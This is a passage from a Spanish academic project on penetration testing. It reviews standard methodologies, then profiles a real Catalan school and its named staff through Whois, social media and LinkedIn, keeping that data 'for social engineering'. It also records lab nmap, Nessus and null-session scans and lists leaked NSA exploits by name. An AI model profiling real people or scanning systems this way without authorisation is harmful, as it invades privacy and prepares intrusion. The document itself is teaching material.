  • 17. 16 básico de reglas y procedimientos a seguir y crear un adecuado proceso de evaluación de la seguridad, mientras que el lado de la gestión logra el compromiso con administración y las mejores prácticas que deben ser seguidas en todo el proceso de pruebas. ISSAF define la evaluación como un proceso en una auditoria. Dado que la auditoría exige que un órgano más establecido proclame los estándares necesarios, su marco de evaluación incluye la planificación, la evaluación, el tratamiento, acreditación y mantenimiento. Cada una de estas fases contiene directrices genéricas que son eficaces y flexibles para cualquier estructura organizativa. El resultado es una combinación de actividades operativas, iniciativas de seguridad y una lista completa de vulnerabilidades que podrían existir en el entorno de destino. El proceso de evaluación elige el camino más corto para alcanzar el plazo de prueba analizando su objetivo frente a vulnerabilidades críticas que pueden ser explotadas con el mínimo esfuerzo. ISSAF contiene un rico conjunto de bases de referencia de evaluación técnica para probar el número de diferentes tecnologías y procesos. Sin embargo, esto ha introducido otro problema de mantenimiento para mantener la actualización del marco para reflejar criterios de evaluación de tecnología nuevos o actualizados. En comparación con la metodología OSSTMM, estos problemas de obsolescencia afectan menos al OSSTMM, ya que el auditor puede utilizar la misma metodología sobre el número de compromisos de seguridad utilizando un conjunto diferente de herramientas y técnicas. Por otra parte, la ISSAF también pretende ser un marco amplio con información actualizada sobre herramientas de seguridad, mejores prácticas y asuntos administrativos para complementar el programa de evaluación de seguridad. También se puede alinear con OSSTMM o cualquier otra metodología de prueba similar, combinando así las fuerzas de cada uno. 6.2.1 Características clave y beneficios • ISSAF le ofrece una propuesta de alto valor para asegurar la infraestructura mediante la evaluación de los controles de seguridad existentes contra vulnerabilidades críticas.
  • 18. 17 • Aborda diferentes áreas clave de la seguridad de la información. Estos incluyen la evaluación de riesgos, la estructura y gestión empresarial, la evaluación de controles, la gestión del compromiso, el desarrollo de políticas de seguridad y las mejores prácticas generales. • La metodología de pruebas de penetración de ISSAF examina la seguridad de una red, sistema o aplicación. El marco puede centrarse de forma transparente en tecnología específica de objetivos que puede incluir routers, conmutadores, firewalls, sistemas de detección y prevención de intrusos, redes de área de almacenamiento, redes privadas virtuales, diversos sistemas operativos, servidores de aplicaciones web, bases de datos, etc. • Convierte la brecha entre la visión técnica y de gestión de las pruebas de seguridad mediante la implementación de los controles necesarios para manejar ambas áreas. • Permite a la administración entender los riesgos existentes que flotan sobre las defensas perimetrales de una organización y las reduce de manera proactiva identificando las vulnerabilidades que pueden afectar la integridad del negocio. 6.3 Open Web Application Security Project El proyecto Top 10 de OWASP clasifica los riesgos de seguridad de la aplicación. Los principales vectores de ataque y debilidades de seguridad en relación con su impacto en los negocios. Al evaluar la aplicación, cada uno de estos riesgos demuestra un método de ataque genérico que es independiente de la tecnología o plataforma que se utiliza. También le proporciona instrucciones específicas sobre cómo probar, verificar y remediar cada parte vulnerable de una aplicación. El OWASP top 10 se centra principalmente en las áreas problemáticas de alto riesgo en lugar de abordar todas las cuestiones que rodean la seguridad de la aplicación web.
  • 19. 18 6.3.1 Características clave y beneficios • La prueba de las aplicaciones web frente a los 10 principales riesgos de seguridad de OWASP asegura que se evitan los ataques y debilidades más comunes y se mantiene la confidencialidad, integridad y disponibilidad de una aplicación. • La comunidad OWASP ha desarrollado una serie de herramientas de seguridad que se centran en las pruebas de aplicaciones web automatizadas y manuales. Algunas de estas herramientas son WebScarab, Wapiti, JBroFuzz y SQLiX, que también están disponibles bajo el sistema operativo Kali Linux. • Al considerar la evaluación de la seguridad de la infraestructura web, la Guía de Pruebas de OWASP le proporciona detalles de evaluación específicos de la tecnología; por ejemplo, la prueba de Oracle se aborda de forma diferente a MySQL. Dicha guía le proporciona una visión más amplia y más colaborativa de múltiples tecnologías, lo que ayuda a un auditor a elegir el procedimiento más adecuado para las pruebas. • Alienta las prácticas de codificación segura para los desarrolladores mediante la integración de pruebas de seguridad en cada etapa del desarrollo. Esto asegurará que la aplicación de producción es robusta, libre de errores y segura. • Proporciona aceptación y visibilidad en toda la industria. Los diez principales riesgos de seguridad también pueden alinearse con otros estándares de evaluación de seguridad de aplicaciones web, lo que le ayuda a lograr más de un estándar a la vez con un poco más de esfuerzo. 6.4 Web Application Security Consortium Threat Classification La identificación de los riesgos de seguridad de la aplicación requiere un riguroso y riguroso procedimiento de prueba, que puede seguirse a lo largo del ciclo de vida del desarrollo. La clasificación de amenazas WASC es otro estándar abierto para evaluar la seguridad de las aplicaciones web. Al igual que el estándar OWASP, también se clasifica en una serie de ataques y debilidades, pero los aborda de una
  • 20. 19 manera mucho más profunda. La práctica de este arte negro para la identificación y verificación de las amenazas que se ciernen sobre la aplicación web requiere una terminología estándar que debe seguirse, que puede adaptarse rápidamente al entorno tecnológico. Aquí es donde el WASC-TC viene en muy práctico. El estándar general se presenta en tres vistas diferentes para ayudar a los desarrolladores y auditores de seguridad a comprender la visión de las amenazas de seguridad de aplicaciones web: • Vista de Enumeración • Vista de desarrollo • Taxonomy cross-reference view 6.4.1 Vista de Enumeración Esta vista está dedicada a proporcionar la base para ataques y debilidades de aplicaciones web. Cada uno de estos ataques y debilidades se han discutido individualmente con su definición concisa, tipo y ejemplos de plataformas de programación múltiples. Además, está en línea con su identificador único, que puede ser útil para la referencia. Un total de 49 ataques y debilidades se clasifican con un número WASC-ID estático (1 a 49). Tenga en cuenta que esta representación numérica no se centra en la gravedad del riesgo, sino que sirve al propósito de hacer referencia en su lugar 6.4.2 Vista de desarrollo La vista de desarrollo lleva el panorama del desarrollador al combinar el conjunto de ataques y debilidades en vulnerabilidades, que probablemente se producirán en cualquiera de las tres fases de desarrollo consecutivas. Esto podría ser una fase de diseño, implementación o despliegue. Las vulnerabilidades de diseño se introducen cuando los requisitos de la aplicación no cumplen la seguridad en la etapa inicial de recopilación de requisitos. Las vulnerabilidades de implementación se producen debido a principios y prácticas de codificación inseguras. Las vulnerabilidades de implementación son el resultado de la configuración incorrecta de la aplicación, del servidor web y de otros sistemas externos. Así, la visión
  • 21. 20 amplía el alcance de su integración en un ciclo de vida de desarrollo regular como parte de las mejores prácticas. 6.4.3 Taxonomy cross-reference view Referirse a una vista de referencias cruzadas de múltiples estándares de seguridad de aplicaciones web puede ayudar a auditores y desarrolladores a mapear la terminología presentada en un estándar con otro. Con un poco más de esfuerzo, la misma instalación también puede ayudarle a lograr múltiples conformidades estándar al mismo tiempo. Sin embargo, el estándar de seguridad de cada aplicación define criterios propios para evaluar las aplicaciones desde diferentes ángulos y mide sus riesgos asociados en general. Por lo tanto, cada norma requiere diferentes esfuerzos para aumentar el cálculo de los riesgos y sus niveles de gravedad. Los ataques y debilidades de WASC-TC presentados en esta categoría son mapeados con el top 10 de OWASP, la Enumeración de Debilidad Común de Mitre (CWE), la Enumeración y Clasificación de Patrón de Ataque Común de Mitre (CAPEC) y la lista de top 25 de SANS-CWE. 6.4.4 Características clave y beneficios • WASC-TC le proporciona un conocimiento profundo para evaluar el entorno de aplicaciones web frente a los ataques y debilidades más comunes. • Los ataques y debilidades presentados por WASC-TC pueden usarse para probar y verificar cualquier plataforma de aplicaciones web usando una combinación de herramientas del sistema operativo Kali Linux. • La norma le proporciona tres puntos de vista diferentes, a saber, enumeración, desarrollo y referencia cruzada. La enumeración sirve como una base para todos los ataques y debilidades que se encuentran en las aplicaciones web. La visión de desarrollo combina estos ataques y debilidades en vulnerabilidades y los categoriza según su ocurrencia en la fase de desarrollo relativo. Esto podría ser una fase de diseño,
  • 22. 21 implementación o despliegue. La vista de referencias cruzadas sirve para referenciar otros estándares de seguridad de aplicaciones con WASC-TC. • WASC-TC ya ha adquirido aceptación a nivel de industria y su integración se puede encontrar en muchas soluciones de código abierto y comerciales, en su mayoría en evaluación de vulnerabilidad y productos de gestión. • También puede alinearse con otros estándares de seguridad de aplicaciones bien conocidos, como OWASP y SANS-CWE. 6.5 Penetration Testing Execution Standard El Penetration Testing Execution Standard (PTES) fue creado por algunas de las mentes más brillantes y expertos definitivos en la industria de pruebas de penetración. Consiste en siete fases de pruebas de penetración y puede utilizarse para realizar una prueba de penetración efectiva en cualquier entorno. 6.5.1 Fases de una prueba de penetración Una prueba de penetración o Pentest se basa en 7 fases y diversas subfases, dependiendo de la seguridad y las capacidades de penetración del mismo. Las fases son las siguientes: 1. Interacciones previas 2. Recolección de Información 3. Modelado de amenaza 4. Análisis de vulnerabilidades 5. Explotación 6. Post-Explotación 7. Informe 6.5.1.1 Interacciones previas Se refiere a la negociación o acuerdo durante la cual se definirán los puntos y la profundidad a evaluar, las fechas de la evaluación, la Carta Blanca, entre otros.
  • 23. 22 6.5.1.2 Recolección de información Es aquella en la que el ataque se dedicará a obtener y recopilar toda la información posible sobre el objetivo. En esta fase se encuentran la subfase de FootPrinting. Aquí nos encargaremos, por ejemplo, de encontrar información DNS, Whois, RRSS, etc. También será el lugar donde llevaremos a cabo los ataques de Ingeniería Social. 6.5.1.3 Modelado de amenaza Se analizan los planes de contingencia, así como el equipo técnico, las instalaciones (redes, hardware y software), así como las herramientas, exploits y payloads disponibles para analizar la efectividad de las diversas vías de ataque disponibles. 6.5.1.4 Análisis de Vulnerabilidades En esta fase, con los datos recogidos en la fase anterior, se buscan las posibles vías y métodos de ataque, conocidos como FingerPrinting (Scanning y Enumeración) así como información sobre usuarios, nombres de equipos, etc. 6.5.1.5 Explotación Ponemos las herramientas a atacar a las vulnerabilidades detectadas para comprometer el sistema y obtener acceso. 6.5.1.6 Post-explotación Es aquella donde se persigue obtener acceso al sistema de manera perdurable en el tiempo de manera que podamos realizar en un tiempo indeterminado el ataque a las vulnerabilidades detectadas. También es el momento en el que se inyecta código malicioso (troyanos, Keyloggers, Virus, worms, etc.) en la/s maquina/s objetivo. 6.5.1.7 Informe Tras la evaluación, con las pruebas recogidas y los test realizados, se procede a analizar los resultados para dar un veredicto final sobre el estado de la seguridad, en los ámbitos analizados.
  • 24. 23 7 Pruebas previas Como, durante nuestras pruebas, los sistemas a analizar no están disponibles en internet, no son accesibles a las arañas de crawling de los buscadores, no podremos realizar o buscar información sobre los objetivos más allá de la ya conocida y no obtendremos toda la información que podríamos obtener de un objetivo de una empresa, realizaremos esas pruebas suponiendo que el objetivo inicial es el INS Ribera Baixa Seu II. Se supone, que en un principio, como papel de atacante externo, del INS Ribera Baixa Seu II / INS Les Salines, sabemos exclusivamente su nombre y que es un centro de El Prat de Llobregat. 7.1 FootPrinting Tenemos diversas fórmulas y “ataques” para llevar a cabo la recolección de información o footprinting. Las más usuales son: - Páginas Blancas / amarillas - Google y otros buscadores - Whois - Redes Sociales - Nslookup Esto nos dará una idea del objetivo, la persona o personas que lo dirigen, las personas que se encargan de las aplicaciones web, etc. 7.1.1 Páginas Blancas / amarillas Con esta búsqueda, obtendremos información básica de localización y teléfono. Como se trata de una institución y/o empresa, en esta ocasión, nos decantaremos por las Páginas Amarillas, aunque puede que más adelante, nos decantemos también por las Páginas Blancas.
  • 25. 24 Como podemos observar en las imágenes 6.1 y 6.2, no aparecen resultados para Ribera Baixa en la provincia de Barcelona. Probaremos a continuación con el nombre Les Salines. Imagen 7.1 Filtros Paginas Amarillas
  • 26. 25 Imagen 7.2 Resultados a la busqueda Nos ha salido un resultado (imagen 6.3) pero todo apunta a que no es lo que estamos buscando. Así podemos dar por concluida la búsqueda en esta página.
  • 27. 26 Imagen 7.3 Direccion erronea del resultado 7.1.2 Google y otros buscadores Aquí, nos dedicaremos simplemente a buscar sobre la institución y/o empresa que representa el INS Ribera Baixa Seu II / INS Les Salines en los diversos buscadores de internet. Haremos la prueba en los buscadores más populares Imagen 7.4 Busqueda en Google El resultado de Google otorga datos bastante interesantes. Por un lado, tenemos la página del Institut Les Salines, que en su descripción menciona que es el Institut Ribera Baixa II. Además, aparece la página de un campus virtual de un instituto de
  • 28. 27 mismo nombre al buscado. Analizaremos la web para saber si se trata de nuestro objetivo o no. También se ve el inicio de un mapa de Google Maps de el Prat de Llobregat donde aparece marcado nuestro objetivo. Imagen 7.5 Pagina principal del campus Si visitamos la página web del campus apenas encontramos información que nos permita deducir si es o no el centro en el que estábamos interesados, pero si nos dirigimos a la parte superior de la página y pulsamos donde pone “Obrir Incidencia TIC”, automáticamente nos redirige a la página del centro que decía ser el Institut Ribera Baixa II.
  • 29. 28 Imagen 7.6 Página principal del centro Y si nos desplazamos por la página, podemos ver el número de teléfono, la dirección, que coincidía con lo visto además en el plano de Google maps anterior, y la dirección de correo electrónica corporativa. Como parece que regalan la información, podemos añadir a nuestra base de datos de conocimiento los perfiles en las redes sociales de Facebook, Twitter e Instagram del centro.
  • 30. 29 Imagen 7.7 Pagina de Facebook
  • 31. 30 Imagen 7.8 Pagina de Twitter Imagen 7.9 Pagina de Instagram
  • 32. 31 Imagen 7.10 Informacion de contacto del centro Con la información recabada, aunque sería conveniente, decidimos no buscar más en otros buscadores, ni aplicar medidas de Google Hacking, al menos, por el momento. 7.1.3 Whois Para hacer las búsquedas de Whois consideramos interesante, aunque hay otros disponibles en el Whois de ICANN (Internet Corporation for Assigned Names and Numbers, por sus siglas en ingles).
  • 33. 32 Imagen 7.11 Pagina de Whois En la imagen 5.10 podemos ver la página principal de dicho servicio Whois. Al buscar el dominio de INS Les Salines nos aparece información muy interesante y relevante. Alguna ya la teníamos, y con esto la ratificamos una vez más, otra, en cambio, nos es nueva pero no por ello menos relevante.
  • 34. 33 Imagen 7.12 Resultados de busqueda de inslessalines.cat en whois Cuando buscamos información en Whois sobre insriberabaixa2 nos aparece menor cantidad de información la cual no coincide con la información recabada anteriormente, sin embargo, no podemos descartarla. Imagen 7.13 Resultado de busqueda de insriberabaixa2.com en whois 7.1.4 Redes Sociales Buscaremos, con los datos recabados, en las siguientes redes sociales: - Facebook - Linkedin
  • 35. 34 - Twitter Si buscamos por Victor Manuel Lino Martinez, nombre que aparece relacionado con el dominio www.insriberabaixa2.com, o Miguel Ángel Noval vemos que aparecen varias opciones posibles pero ninguno se adapta al 100% con lo cual decidimos pasar al siguiente stage antes de dar por finalizada esta búsqueda. Imagen 7.14 Perfiles de Facebook para Victor Lino Al buscar en LinkedIn encontramos información que nos puede ser bastante interesante. Por un lado, obtenemos a una persona llamada Miguel Ángel Noval Giralt, que es profesor de la Generalitat de Catalunya y trabaja en el Prat de Llobregat.
  • 36. 35 Imagen 7.15 Perfiles de LinkedIn Miguel Angel Noval
  • 37. 36 Imagen 7.16 Perfil de Miguel Angel Noval Giralt Imagen 7.17 Nuestras sospechas se terminan de confirmar Con lo recopilado, sabemos que el dominio www.inslessalines.cat está a nombre del director del centro INS Les Salines. Con esta información, y con los datos conocidos hasta ahora, si analizamos un poco lo recopilado, podemos sospechar que Víctor Manuel Lino es/era un profesor del centro. Valoramos que tenemos suficiente información, de las redes sociales, sobre el objetivo actualmente, aunque mantendremos los datos por si en el futuro requerimos realizar un ataque de ingeniería social.
  • 38. 37 7.1.5 NSlookup Buscando información en Nslookup, hemos podido obtener la dirección IP de la página web del centro. Imagen 7.18 Resultados NsLookup Como hemos visto, anteriormente, la dirección de email era de la página xtec.cat, con lo cual es un dominio externo, perteneciente a la Generalitat de Catalunya. Esto hace que cuando busquemos información de servidor MX no aparezca nada nuevo. Imagen 7.19 Resultados servidores MX NsLookup
  • 39. 38 8 Penetration testing en Windows 8.1 Preparativos Para realizar las diversas pruebas de penetración en los sistemas Windows contaremos con un ordenador equipado con un Intel Core i3 2100 y una placa base Asus P8H61-M con 4 GB de RAM y 500 GB de disco duro, al cual le instalaremos el sistema operativo Windows 10 de 64 bits y Microsoft Office 2016. 8.2 Modelado de la amenaza Durante este primer cuadrimestre de 2017, han surgido diversas vulnerabilidades, algunas descubiertas por la NSA, y publicadas gracias al robo de malwares del grupo Shadow Brokers a la citada agencia de espionaje gubernamental, y otras por los expertos en seguridad informática. Algunas de las más famosas son el ransomware WannaCry, que para expandirse por la red requiere de la vulnerabilidad Eternal Blue y la CVE-2017-0199, una vulnerabilidad de Microsoft Office que permite la ejecución de código malicioso de manera remota a un atacante. También existen algunas otras que en caso necesario o de fallo podremos utilizar: • EARLYSHOVEL RedHat 7.0 - 7.1 Sendmail 8.11.x exploit • EBBISLAND (EBBSHAVE) root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86. • ECHOWRECKER remote Samba 3.0.x Linux exploit. • EASYBEE appears to be an MDaemon email server vulnerability • EASYFUN EasyFun 2.2.0 Exploit for WDaemon / IIS MDaemon/WorldClient pre 9.5.6 • EASYPI is an IBM Lotus Notes exploit that gets detected as Stuxnet • EWOKFRENZY is an exploit for IBM Lotus Domino 6.5.4 & 7.0.2 • EXPLODINGCAN is an IIS 6.0 exploit that creates a remote backdoor • ETERNALROMANCE is a SMB1 exploit over TCP port 445 which targets XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges (MS17-010) • EDUCATEDSCHOLAR is a SMB exploit (MS09-050)
  • 40. 39 • EMERALDTHREAD is a SMB exploit for Windows XP and Server 2003 (MS10- 061) • EMPHASISMINE is a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2 • ENGLISHMANSDENTIST sets Outlook Exchange WebAccess rules to trigger executable code on the client's side to send an email to other users • EPICHERO 0-day exploit (RCE) for Avaya Call Server • ERRATICGOPHER is a SMBv1 exploit targeting Windows XP and Server 2003 • ETERNALSYNERGY is a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010) • ETERNALBLUE is a SMBv2 exploit for Windows 7 SP1 (MS17-010) • ETERNALCHAMPION is a SMBv1 exploit • ESKIMOROLL is a Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers • ESTEEMAUDIT is an RDP exploit and backdoor for Windows Server 2003 • ECLIPSEDWING is an RCE exploit for the Server service in Windows Server 2008 and later (MS08-067) • ETRE is an exploit for IMail 8.10 to 8.22 • ETCETERABLUE is an exploit for IMail 7.04 to 8.05 • FUZZBUNCH is an exploit framework, similar to MetaSploit • ODDJOB is an implant builder and C&C server that can deliver exploits for Windows 2000 and later, also not detected by any AV vendors • EXPIREDPAYCHECK IIS6 exploit • EAGERLEVER NBT/SMB exploit for Windows NT4.0, 2000, XP SP1 & SP2, 2003 SP1 & Base Release • EASYFUN WordClient / IIS6.0 exploit • ESSAYKEYNOTE • EVADEFRED 8.3 Análisis de Vulnerabilidades y enumeración. Como se ha comentado anteriormente, la fase recolecta de información (Footprinting) no es posible en este laboratorio pues es un laboratorio montado en exclusiva para para el aprendizaje sobre el Penetration Testing. Sin embargo, si se
  • 41. 40 pueden llevar a cabo las fases de análisis de vulnerabilidades (Vulnerability Assessment) en la cual nos centraremos en buscar las vulnerabilidades conocidas para el objetivo, así como el estado de los puertos (filtrado, abierto, cerrado). Para ello usaremos herramientas las siguientes herramientas: - Nmap - Nessus - Smbclient - Hping3 - DNSenum - PsTools 8.3.1 Nmap El primer programa de los utilizados es Nmap. Dicho programa está fundamentado en el código abierto y entre sus utilidades está el rastreo de puertos y sondear redes de computadores, incluyendo detección de equipos, servicios y sistemas operativos. Además, estas funciones, mediante el uso de scripts, son extensibles para proveer servicios de detección avanzados, detección de vulnerabilidades y otras aplicaciones. Por si fuera poco, puede adaptarse, durante los escaneos, a las condiciones de la red, incluyendo latencia y congestión. 8.3.1.1 Evaluación del objetivo Durante la evaluación del objetivo con Nmap llevamos a cabo varias pruebas, algunas más “intrusivas” y detectables por el objetivo y otras más sigilosas. La lista de pruebas de Nmap usadas son: • Nmap -sV -T4 -O -F –versión-light 10.212.21.116 • Nmap -p 1-65535 -T4 -A -v 10.212.21.116 • Nmap -sN -T5 10.212.21.116 • Nmap -v -O -Pn -n 10.212.21.116 • Nmap -f -n -P0 -v -p- -T4 10.212.21.116
  • 42. 41 8.3.1.1.1 Nmap -sV -T4 -O -F –versión-light 10.212.21.116 Imagen 8.1 Resultados prueba 1 NMAP En esta evaluación, como se observa en la imagen 6.1, se realiza un comando conocido como Quick Scan Plus. Este comando, realiza un escaneo rápido de los 100 puertos más comunes y además realiza una detección rápida del sistema operativo objetivo y la versión del mismo. En la imagen podemos observar que los puertos TCP 135, 139 y 445 estaban abiertos. Estos puertos fueron famosos recientemente por una vulnerabilidad descubierta por la NSA en el protocolo Samba que permitía la ejecución de código malicioso remoto, lo que dio pie a la gran infección por WannaCry, en la que se vieron envueltas miles de empresas y países, entre ellas Telefonica o el NHS (National Health Service, por sus siglas en Ingles) del Reino Unido.
  • 43. 42 8.3.1.1.2 Nmap -p 1-65535 -T4 -A -v 10.212.21.116 Imagen 8.2 Resultados prueba 2 NMAP Como se ve en la imagen 6.2, acto seguido decidimos realizar un Intense Scan, salvo que decidimos aumentar el rango de puertos a todos los del rango TCP, en vez de limitarlos a los 1000 más comunes. De esta manera, pudimos descubrir también nuevos puertos abiertos del servicio Microsoft Windows RPC, los cuales habían pasado desapercibidos en la vez anterior.
  • 44. 43 8.3.1.1.3 Nmap -sN -T5 10.212.21.116 Imagen 8.3 Resultado prueba 3 NMAP A continuación, decidimos realizar un análisis enviando paquetes tcp nulos para despistar a un posible firewall de nuestra presencia. Gracias a esto podremos saber si un puerto está abierto/filtrado o bien está cerrado.
  • 45. 44 8.3.1.1.4 Nmap -v -O -Pn -n 10.212.21.116 Imagen 8.4 Resultado prueba 4 NMAP Como habíamos visto anteriormente, ningún escáner nos podía indicar con exactitud el sistema operativo y la versión del mismo. Podíamos suponer que era un sistema Windows por los servicios Microsoft Windows RPC descubiertos, pero poco más, por eso decidimos investigar un poco más al respecto con este comando de Nmap. Por desgracia, este comando también falla, pero el hecho de que este comando también falle al descubrir el sistema operativo puede ser una señal que indique que se trataría de una versión muy reciente o modificada del mismo. Como los sistemas Windows son de código cerrado, descartamos la posibilidad de que sea un sistema modificado al uso.
  • 46. 45 8.3.1.1.5 Nmap -f -n -P0 -v -p- -T4 10.212.21.116 Imagen 8.5 Resultado prueba 5 NMAP En esta ocasión para terminar de cuadrar que puertos están abiertos y cuales no tras un firewall podemos usar la opción -f para fragmentar paquetes, -n para la no- resolucion DNS y P0 para asumir que esta iniciado el objetivo. 8.3.2 Nessus Para escanear vulnerabilidades en el entorno de pruebas utilizaremos Nessus. Dicho programa, actúa en dos fases: en la primera fase hace un escaneo de los puertos con Nmap, o su propio scanner de puertos, en busca de puertos activos y en base a los resultados prueba, en la segunda fase, con los exploits conocidos para atacar los puertos que se detectaron abiertos. Las pruebas de vulnerabilidad se realizan con plugins/scripts escritos en NASL (Nessus Attack Scripting Language) un lenguaje scripting optimizado para interacciones personalizadas en redes. Una cosa que puede ser bastante relevante de esta herramienta es que se pueden exportar los resultados en diversos formatos (XML, PDF (requiere de java en el
  • 47. 46 servidor Nessus), CSV, HTML, entre otros) lo que permite una gran integración con herramientas como Metasploit. 8.3.2.1 Evaluación del objetivo Nessus es una herramienta bastante sencilla de utilizar, pues su interfaz web nos simplifica muchísimo el trabajo. Por si fuera poco, en cada vulnerabilidad o dato extraído del análisis da una pequeña explicación y hace una valoración e indica alguna solución al respecto. Imagen 8.6 Pagina principal Nessus Como vemos en la imagen 6.3, hay varias opciones de configuración, pero muchas de ellas requieren una versión con licencia de pago. Para nuestro caso, la mejor es el Advanced Scan, pues el resto o van enfocadas a casos especiales de seguridad, en los cuales se requieren muchas veces datos mayores de los disponibles por nosotros, o se quedan en la superficie de lo que queremos analizar.
  • 48. 47 Imagen 8.7 Configuracion del Advanced Scan
  • 49. 48 Imagen 8.8 Pantalla de estado de los Scans de Nessus En la imagen 6.4 podemos apreciar el menú principal de configuración. EN las opciones avanzadas veremos cosas interesantes como la automatización de escaneos según hora y día, opciones para esquivar las soluciones IDS/IPS, etc. Una vez finalizada la configuración de los escaneos veremos algo parecido a la imagen 6.5. Si le damos a iniciar (Launch) podremos indicar si deseamos hacerlo con la configuración default o por el contrario queremos un escáner más a nuestra medida.
  • 50. 49 Imagen 8.9 Advanced Scan en funcionamiento Durante el escáner, en esta pestaña podremos ver el avance del mismo donde podremos ver el listado de objetivos descubiertos y las vulnerabilidades y avisos recibidos. Imagen 8.10 Resultados de la prueba Nessus
  • 51. 50 Cuando el análisis haya finalizado, veremos algo parecido a esto donde se muestra los avisos y vulnerabilidades, con su gravedad, descubiertas. En este caso, reafirmando lo descubierto con Nmap, hay una vulnerabilidad en Samba. Además, podemos ver que, como intuíamos, el sistema operativo del objetivo es Windows 10 8.3.3 Smbclient La siguiente herramienta podríamos decir que es una herramienta de andar por casa pues aunque su idea de uso, permitir a los clientes samba acceder a los recursos en los servidores SMB/CIFS, nos permite en la fase de Vulnerability Assessment generar una Null Session en la maquina objetivo con la finalidad de llamar a API’s y usar llamadas a procedimientos remotos para enumerar información. Estas técnicas pueden y otorgaran información relativa a contraseñas, grupos, usuarios, e incluso procesos activos. Además, con los ataques Null Session se pueden elevar privilegios y obtener ataques DoS (Denial of Service). 8.3.3.1 Evaluación del objetivo Imagen 8.11 Resultados del Null Session con smbclient La imagen 6.7 no da lugar a dudas, al intentar realizar un login anónimo con una Null Session de Samba, nos indica que la opción “syslog” está obsoleta y por esa razón nos muestra los errores NT_STATUS_ACCESS_DENIED y NT_STATUS_RESOURCE_NAME_NOT_FOUND. Por suerte, la poca información que nos otorga, es el nombre del equipo DESKTOP-M2NDNTJ y la versión Windows 10 Pro compilación 15063. 8.3.4 Hping3
  • 52. 51 Hping3 es una aplicación de terminal para Linux que nos permite analizar y modificar fácilmente paquetes TCP/IP. A diferencia de un Ping convencional, que utiliza paquetes ICMP, HPing3 permite el envío de paquetes TCP, UDP y RAW-IP. Además, puede ser utilizada para fines de seguridad como, probar la eficacia de un firewall a través de diferentes protocolos, la detección de paquetes sospechosos o modificados e incluso probar la protección frente a ataques DoS de un sistema o un Firewall. 8.3.4.1 Evaluación del objetivo Imagen 8.12 Resultados de la prueba, haciendo bypass al firewall, con hPing3 Aquí podemos ver, una vez más, que como afirmaba Nessus y Nmap los puertos 135, 139 y 445 están abiertos y son vulnerables. 8.3.5 DNSenum Esta fue una herramienta diseñada con el propósito de enumerar información DNS sobre un dominio. La información que se puede obtener con esta herramienta cuando nos vamos a disponer a realizar una prueba de penetración al dominio respectivo. El modo de funcionamiento de DNSenum es el siguiente: tras lanzar la consulta, DNSenum, comenzará a consultar los servidores DNS. El primer dato que obtendremos es la dirección del host. Después, obtiene los servidores de nombres que nos permitirá tener una información del proveedor de alojamiento que se está
  • 53. 52 utilizando y finalmente el registro MX del que obtendremos información sobre el servidor de correo de nuestro objetivo. 8.3.5.1 Evaluación del objetivo Imagen 8.13 Resultados DNSEnum En la imagen 6.9 podemos observar que ante un intento de enumeración dns no logramos obtener resultado alguno. 8.3.6 PsTools Normalmente, un scanner de vulnerabilidades solo mostrará posibles vulnerabilidades que explotar. Una herramienta de escaneo como Nmap puede decirte algo sobre los sistemas escaneados, pero manualmente será muy complicado de testear manualmente con herramientas específicas que una vulnerabilidad es real y el sistema puede ser penetrado y explotado. Algunas aplicaciones como Nessus tienen plugins muy bien desarrollados para testeo, pero siguen sin penetrar en el sistema salvo que se configuren los plugins o scripts para ello. A veces, querrás probar herramientas por separado que confirmen la existencia del problema. A menudo podrás hacer eso con herramientas administrativas habituales. En las redes Windows a menudo con las herramientas GUI no son efectivas para ello. Por suerte, existen las PsTools. 8.3.6.1 Evaluación del objetivo Para llevar a cabo la evaluación utilizamos el siguiente conjunto de herramientas tanto de 32 como de 64 bits de las PsTools:
  • 54. 53 • Psfile • PsGetsid • PsInfo • PsList • PsService 8.3.6.1.1 Psfile Imagen 8.14 Prueba PsTools: Psfile Imagen 8.15 Prueba PsTools: Psfile64 Como podemos ver en las dos imágenes en ambos casos nos indica que el acceso esta denegado por la falta de credenciales validas, cosa de la cual no disponemos, cosa que, en avance, podemos decir que ocurrirá en el resto de pruebas de las PsTools.
  • 55. 54 8.3.6.1.2 PsGetsid Imagen 8.16 Prueba PsTools: PsGetsId 8.3.6.1.3 PsInfo Imagen 8.17 Prueba PsTools: PsInfo
  • 56. 55 8.3.6.1.4 PsList Imagen 8.18 Prueba PsTools: PsList 8.3.6.1.5 PsService Imagen 8.19 Prueba PsTools: PsService 8.4 Explotación Tras haber recolectado información sobre el objetivo y sus vulnerabilidades y posibles brechas de seguridad es el momento de poner toda esa información en juego y buscar los medios más apropiados para penetrar en el sistema. Las herramientas usadas en este apartado son diversas y muchas veces supletorias unas de otras, es decir, hay muchas herramientas con funciones similares y, en algunos, ni siquiera son necesarias estas herramientas, pero para ello se requiere de una gran habilidad de programación. En mi caso, usaremos las siguientes aplicaciones: - Metasploit - Htattack
  • 57. 56 - Veil-evassion Durante esta fase, buscaremos exploits que nos permitan introducirnos en el objetivo. En ningún caso, durante esta fase, robaremos datos, o manipularemos, maliciosamente, el equipo. Por poner un símil, durante esta fase, somos los ladrones que tras conocer a su víctima y su lugar de residencia deciden acceder al interior de la misma, en esta fase, solo utilizaremos las herramientas nos permitan obtener dicho objetivo. 8.4.1 Metasploit Metasploit es un proyecto código abierto para profesionales de la seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en pruebas de penetración y el desarrollo de firmas de detección de intrusos. El subproyecto más importante es Metasploit Framework, una herramienta para desarrollar y ejecutar exploits contra una maquina remota. Según las necesidades tenemos diversas interfaces para Metasploit disponibles. 8.4.1.1 Edición Metasploit Versión gratuita, contiene una interfaz de línea de comandos, la importación de terceros, la explotación manual y fuerza bruta. 8.4.1.2 Edición Community Metasploit En octubre de 2011, Rapid7 liberó Metasploit Community Edition, una interfaz de usuario gratuita basada en la web para Metasploit. Metasploit Community incluye, detección de redes, navegación por módulo y la explotación manual. 8.4.1.3 Metasploit express En abril de 2010, Rapid7 liberó Metasploit Express, una edición comercial de código abierto, para los equipos de seguridad que necesitan verificar vulnerabilidades. Ofrece una interfaz gráfica de usuario, integra nmap para el descubrimiento, y añade fuerza bruta inteligente, así como la recopilación de pruebas automatizado.
